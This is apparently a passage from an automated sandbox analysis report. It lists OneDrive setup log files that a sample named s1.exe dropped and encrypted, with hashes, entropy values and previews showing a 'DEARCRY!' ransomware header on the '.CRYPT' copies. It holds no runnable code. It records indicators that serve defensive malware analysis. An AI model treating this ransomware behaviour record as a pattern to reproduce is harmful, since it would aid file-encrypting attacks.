                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-07-27_071441_17bc-17b8.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):94584
                                                              Entropy (8bit):7.997822597943592
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:9D0DA51B255B88BAE593814712194C03
                                                              SHA1:1EE190DBB5E974CAE441CF4D2C4AC595B04329E4
                                                              SHA-256:CAFDD3B90B83DE65C895045FF8F2220F6934C862975F2D75D44064C3C4BC5850
                                                              SHA-512:8899707A50D22817784F817E0288BA2892B64AED6A2354F108B1AE39DB3224AE993FCFDB309DAE99433D7417573F234B86AB0700F8D71B07DDCAAFC5AEAC5635
                                                              Malicious:true
                                                              Preview: DEARCRY!....p/s3...m....f.+j.AT.r...R..|.(b.c.0.Y*C..... .jT..yx.H5{...Y...]T.b..h...$.,.s..Y.k8*.7...E.|.S..k.s%.w.......79.j}h. t7..\..qn].b.$..A.&.mV..Y.t......M)..}.......1....h...".`.....C..R.n}...8d.nf.zhs.....L.D.....$.....8......d.?z.Qa..7!...<W.......Zp......j..#< y....../...#.pr...2...cT.......,..-......k.....{G:........o.I.........w..._....r*.X.W...a.]....."AaoS.QN.r.B..RaE.[Q......2.Yt.%YC...#....fG...t.."W..W.{..2kMu0\....u.7"K...Pn..S...SW..A..]..A.9.h!....B...x.b#.....)r.....$l......_.../.).*5..?.r~}ji.....N..........qV.5<Jg;..XhtB.W~.s.JO;....$wLyOnW.....eS....T..H.{..W ..n.u....F3..0#..Q.F@...t..s5.X'0.Z..G.c....f....k..Y....~.2...."C.j..=h....J,....S.../...(&..z.?}..Z......K7/=...w..1......c.e.........<P...k...z...M.....LO..r...tM.....b.RY.e...<.2.Q.S&V..X.M...@.....7#~X...2.y..D..j....L.t .?c&...F....X.6....i...".-...}.?H{.. ..BO.....}.....?.r...........2.&;.'j.[......q.L.....m..-.i%~....+..:..^..S.9.H`..@.]..[AQ>t.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-09-30_080200_1598-1674.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):91594
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E1CEA3F97074E969734F17FE7231C7C6
                                                              SHA1:571BF9B0377BCF65BC26B86A88742298423F330C
                                                              SHA-256:74367989CEC97464134C7B2FD66490C19A124061B78399775D4BD45C796BBA45
                                                              SHA-512:184F26505FE33C189C6C9D62E956E5789159470E4F25BC61EA52B3379F9A921BE6D09C858A0E3509E21F5C0869AC40902EEBC2E2345ED84195B9A0846E58DD35
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2020-09-30_080200_1598-1674.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):91880
                                                              Entropy (8bit):7.998150880229411
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:23C9CF9D5A5A75BAB3C03208CC27339B
                                                              SHA1:57989A090D0FC6DBC8D6858EAF5EBDA8D99819B4
                                                              SHA-256:510BB152061E8CB42CB4384203B756D7C75C8C327FE094BF912AC3F5F03BE76D
                                                              SHA-512:3DB6D33ACEBF7D7746EAA3004BA534B5A9A86D7B6E05C3625B668E5F1005F94C24A23AB538F14EE072669B58281637AE0970003043007B0F598694E598D78B1F
                                                              Malicious:true
                                                              Preview: DEARCRY!.......N$Mn. j.q.tpB. ..4.t2./#d.`l..7O|1.O..7..r,'.Q..r..Xv.......v.....t.gE..I.kZFP-.I9z@...y.............J.....Iq.._..C".*..$j..\.o.~...... l}...,y.......+..."..Kn..W.(%....@..T.-Q.........u..n....67.1;....#..E.aL..J.h.6.Gz..]"...2 ..~...............e......:..{.XK.HH.^..i.~..;:c..9p....x..v..k:3..s....]...2.oW..........t.W.q....xB...9Z.. .a6N..=..44..\.^..gU.......].....@.M..X.m#_{..G....~.U6..r^.f.....E.Z$..m......-.....o.|.s^.$..v;X..&....>.[....R....Tr..5.fN...Yw...g[;0.po..X~$......N...7?.f.....I|..f`)b.R....!j...{j..c.X.Jm."'....ub.".....\6....k.t).~.W...b.Y.I..D....}....2l9.ct.'>...;.tUG........0...*.t..:.2G.....o^D..qfu.k............S$*.Bw.N....O.p.n.^a7...j..^.. ...B.8H....kU\....H.M[.--.......u.Zl......N(..+..0>$O.X...5.L.8i.."....[Q..w5...=.e.V_..z.&...t....5....../.b.}...e...w?-7K..y.......tb.......!..la$f.P.....;.(.0.j.r..........w.8.s..r7. ..Zf..T.5.U.>G?k:*GV...'.Q.....p.w)$b.....T@.PLo.3..Qh...6(........;"...,.1..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-07-27_071441_12fc-160c.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):110992
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D0470C6A1E82B2974E5E2DA5314AF9B5
                                                              SHA1:8B8015B77EA516425BDE8457CB5D54C36191CAA7
                                                              SHA-256:FB0601E335047F4EEDBF1914BAD1B79D417BBA3D84189331518D83FE96B699D0
                                                              SHA-512:882974D7CB156E6C5C2D196D0AD130CA9F00D6495090E8B7EA866E7A39C7AF81893457FB81135DFC872B5A6AD6FC3E87E73C3CD21D8AAB453302283BF0BDF0D3
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-07-27_071441_12fc-160c.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):111288
                                                              Entropy (8bit):7.998520426787954
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DDF6D27A70A15BF143A4F0E69A265EF7
                                                              SHA1:88C5516C2F82F6B18EB4AF2AE310F9DBF1BBB845
                                                              SHA-256:192AD6601353CD302B836D1118950FFB960455629CD143D95DCC410E68697857
                                                              SHA-512:5D5ED0B6ADE304EA197155AF7DD9E46E8678A98CF9E185623B415A16DF1A6D7C130D5340666310F70C8A639E68138896E67932B56BC77FCEEC559629B9C16C02
                                                              Malicious:true
                                                              Preview: DEARCRY!.....!......!..Mk^.Kr].v.B...7Zm.Id..YY5.........R~.X.P..s....!.O.C7Bi.A...]k...~.-.........i3....l&%..:.....-/)2Pg....^..D.uD..t.U..-..s.y'......,..j..8..Uyh........_..\.x......*~o.o......./J.bCJ{.m.z....mN....*.(3DE`+MumP...n..k?C..g."..6...,..u.~.............Flx.*.A.&T.8...-<r7s?.....5.:}3.N@..&.F..N9_C(#....f.+..Te..$........P........A.l.1...9..$.o....d..J..C..-...K.8..9.aR..1']..'......wD!...#...#..b.;$iV.......,.6 ...NiL..0.B...+....\\.Ba...]...4...25w.3&y%<C(....$...]3.G..M...].V0.Iy-@.<.G.7....`?.,.........f.-.`[........B.....[..]9q_.......1L...)3..=....Rj..)...~..s..i.(.M..s...MlM$.0..Ze...-..n?.U6._.o:.|.%...LE.....\r......xZ.%..2.&..;.amc@.p.q......*.7....F.W...M@.....Ej3...F:....W.c.j./2...^..7.y$..w.}[e."&7.N..._.(...0E'.}...c..J..}D}.B.~,...xp.I.e..Z%..6..:..............S.=..g..b..VT....F....&.^...$..o.d...I..X.&....i}$^.."1.=....$.o=r...*.....)\\H...4..:......+......G5..%...F....=.W.Lu.. ...x.}...m-.G......Z....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-09-30_080200_fb8-16ac.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93632
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D60F91E5A424372D48DF4AB5A20CC9A2
                                                              SHA1:34ACE7F05EBCE99F70FE5686B56E4AA630553813
                                                              SHA-256:64B19A13A9CA1E3517854982C65FD824EF91BD6051C84CFC4FF2492FA895252D
                                                              SHA-512:8A938511AF5A098DD59BC05F8FE3CC0F2164D056BFFC545CA9187672138046F6676F6B1E25AC3B0258316340B049DD0DBB75C91B5F2E2B63169B0F126386F4AC
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2020-09-30_080200_fb8-16ac.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93928
                                                              Entropy (8bit):7.997697746945121
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5146C44D3FC792A95233C12394A1FED3
                                                              SHA1:FBDF71B3C48273419AC3BF64124A12CDF5A39F52
                                                              SHA-256:C732D4103EF7B7B23567EEAF1CFE5B64C346C5F7446D8EE309CBF5DA14B25D46
                                                              SHA-512:3194BC3E7359150F44F9B79305142FA6E85E6EBF28CDED1F547F11DD8A9CEACCE45FBA7947EB1FBCD8F09AB1D75C9718DB384A6B589488D037AFC4EB87C110B7
                                                              Malicious:true
                                                              Preview: DEARCRY!......&+.......%_....t.f.......]..7....t{.:%.b...`9.u.h..ii}..@.@`uH..E.+d.{.......8...)..y.Y.5.lW....s..c..@....p.i.....B...k|..:........*.|~t#.......H!...-.........09..1...|MiO..H*ZOaq..g0..z);+)..4..f.?...~'....R..wT..N|..y....6.;..;"....XS=v..jHE.b......m......PG..l..&.%.F........\...z.dKJ.yh..........n..[E.4r.=....;.............D.D...KMx.S(jHsf.6A3363.$..Z7....2|g...Q.......c.....@.J....1.X..d..z...0U.m...X.i....&.i.B.id4.1..O.<.....U..p.s.g.{d...3ga...1 ."I~.....t.....RS.)R...J....fS....J...k..@.ti.!M....0.a.Z.k......{]..LP.]mr.......N&..&..]^.v7.... .?....8.. .Re[(...V.h..oX^......kj&....p..Y.....\$..R. 9.3;.#.M...E9.`..L.Y.......3b.<."8......,....6....+....S...A0.....?.V...,,"/..T....]q."..;t....;A.g.{..[..v.....fa.+.c:G........O[=.)..D.1.c$..d.b..a.".:...p.w...g..^...'.)..:..|P...G..6:.H.....a.d......B...Q.....kB.gp...E..^2.l.k.x.u...\...n..Fc..A.]..(W..@.k8H........=....o..C3.....d..ZDBe...Ox...GEUT.;..gkg...WOx.WI.J`>.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-07-27_071441_bc8-bd0.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):92972
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:14FFB8D4C41EFDEABCE022871FE6F00C
                                                              SHA1:81A43813E21B77C9DFC9DA689AEB723AB58B03A6
                                                              SHA-256:023BB82EFFC46A1330B9A7F7FE393A7B65C6A67E2B0AC78E3AA1D968BC8B5A80
                                                              SHA-512:5CF9244CE64CD6AF97BB1680488DEC133BD2518A7B33BA924CD892FB746A68D79F84BFE7B54FFB20EFFFD2B26A3AAB95C710B88025798B4330F639C845D46979
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-07-27_071441_bc8-bd0.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93256
                                                              Entropy (8bit):7.997903388566042
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E666559E244026FB86CB19F9E64861AB
                                                              SHA1:515E6F6C8B8F6D48C9D7972FEB8BDC0F5DA11C62
                                                              SHA-256:DC2893B721C24E20F49742E5162BBA932DE22BC794EDC6632B1334F8266CFB53
                                                              SHA-512:59DFBA5E48E93CFFD2C9A3E589A3C7068C906EA4CDB03368992A86F3E6418EC33AA8FC60E0AA0987A8D432509B0988181E3434ABBDCC4035F1D359AB1C2BE5A8
                                                              Malicious:true
                                                              Preview: DEARCRY!....`.A1V..{P...K.M\..h0-=...<u.... r.o.j.Y......6.J..j<..&.a#.+..2p7..7...cp.+. .Cg...@..U...N..}.....!...j._l.8..W..'...9m..........g..E...Rj...w"....>.AFHT..Z...\..H..#.0..=.>..p.t=.N.....5..n..h ,.%d.j2a...C...5.?..xTh.......Wt.I....k..7......,k.......m.a.e]yh.G ....1....@....]!..#!.jrA..Hy.G0....i..A.v.`.\..CD.If...@..F...........^;.|.1.1..E\...@|.7fZ.&.1....[...5.....}.e7]..92..&..j.u....Rn3..P~...K......4..^..rV..7..{?|A....h.3YA".....2..'..c7TU...:..M....*..x...z..}.W,..Y....e....U......e.N....'de...D...>.y...?%P%.0s..?...p.!#......$..........P...g.}......Y.........(Gs..y#..b.]p..l..n.5l...#.l=...@C....8..9.[..V~.....ML...u...Cr.(.L.2...i.;..T...|..|D..6...8D.....ON.,...-x13.i...a.TpI.x.@p*.F4O.8.Z...L..[...A:-.k$.*.P..wbT.[........P..8Y.".YP;.Gw...r.m.O.B...4"Rh.K..+.y#.a..Xw....x.S........W.s.H#..R...H...KX&.V....<....[..2.4T%..`.........../=P\.8./A....?.H..7z3.n...jZ...$..c.....8C4.7.mk.k..v..X]#o..j.8.O.....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-09-30_080159_c40-12d4.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93358
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6AD76A59108BFB01556FDCA2C28AC3F7
                                                              SHA1:8F83C46F5089A3CF6EC71F5DF4F002985A18C21B
                                                              SHA-256:86C29DBFC8A2771BFE29DB363AC96F7C7A46CF373CC5F83C3D1F3269BAE58AB1
                                                              SHA-512:9E4891A618EA6D76136040F8B63AC5F2B4FA8D4025A6EC5EEB75B5EEDCFEEF99A01F19A68808634D4DB6A9D7E94655449A2A648DEB9D93F565B645B1B118A79D
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2020-09-30_080159_c40-12d4.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):93640
                                                              Entropy (8bit):7.997808870280837
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:41705F6DB430D2500C86B748ED380593
                                                              SHA1:86420A8C6D3B53D5ED0FB89A805F604DD30B8020
                                                              SHA-256:17FF6BAD2AB199B7ACD07BBAA90B3C89C3E38158B1D0AA04CBE18CEB8820B9B3
                                                              SHA-512:92B3053CCE04E1C54887D1F35D462A8A3F298F257B791D60A9EB385113386CEF34D260410AEBD5D76950CBCBBEB41B822EE96DD11A281404AD6786C9E922FA5A
                                                              Malicious:true
                                                              Preview: DEARCRY!....N...2.4*.Q...~B....v.}+G....p......%..ks..E$Xu.X.@.Tpb\.qljc.K.....spKj.:.f.u..Iv.3...V?....R0/..rt.(1... ...w7...j.....`...]J_.........y..v..{JLQ.k,.."3..o..b..........V0..%.$|u.?..G.....5.K4..Yd..;.....Y._....%i,z...R...(.|.+.....B}s..3......l................ ....%K.\...EF.[....Z..#.V/Y.@\.TV...Zl#..k;..Z..V..g......5..0...u}..7Z.^..[R;.D...[>.F.q....`..l2\....{p.z...@.je.....n).:..]D|.*...V.,....4.)#.`/.6...$..ie..3a|.0^....&..R........hL.n..Li..!c/.T.......[.6..n[....CKC.......D........6....+..O..Aw....M....Q.E.#/.....TL4...........N.....]...F.l...Pp..2i.W..3.NP.,.y0.....r...V.!...Pt...h1[.9x.v:s.B.J...^ .x.v..)..%....EO|..D....vqK&...u.8.[..-N4:x.]"..p....r.?!..<?.o...(...T]..y..u'..0..?G..A.4.(~...X..LW6e..{#.|.v.......3....h...5..l...QGp....d..^.B.e..;....n......i..o_J.Z.......+>.z.[L..z,mF..:..M....S.Y..#.....,.VL.....te..9.!...w^L..c......wS...}.......j....&..._.st@{.........??y.......sD...#..".=...~"Ed..Yy.Qd.....n!
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2019-06-27_102115_1a80-1aa8.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8546
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:66F911F3960A9C650EDF426F3A7EECCC
                                                              SHA1:F9C5EA6E3E93A8C47D7E1BDD64C9587711699C1A
                                                              SHA-256:C7EDA584ABBB29BE77541D62503A5C09A39B4B79E4B7EFD67BE83D177738B05B
                                                              SHA-512:4DCE45473784D4658C55B43BB35244B4EC96D5DFE16C4E8C794C8A3CD669DB0A96751F3FB815DD9D5111374933480395F34AB23A029DBDB28686EC94D5C30C49
                                                              Malicious:false
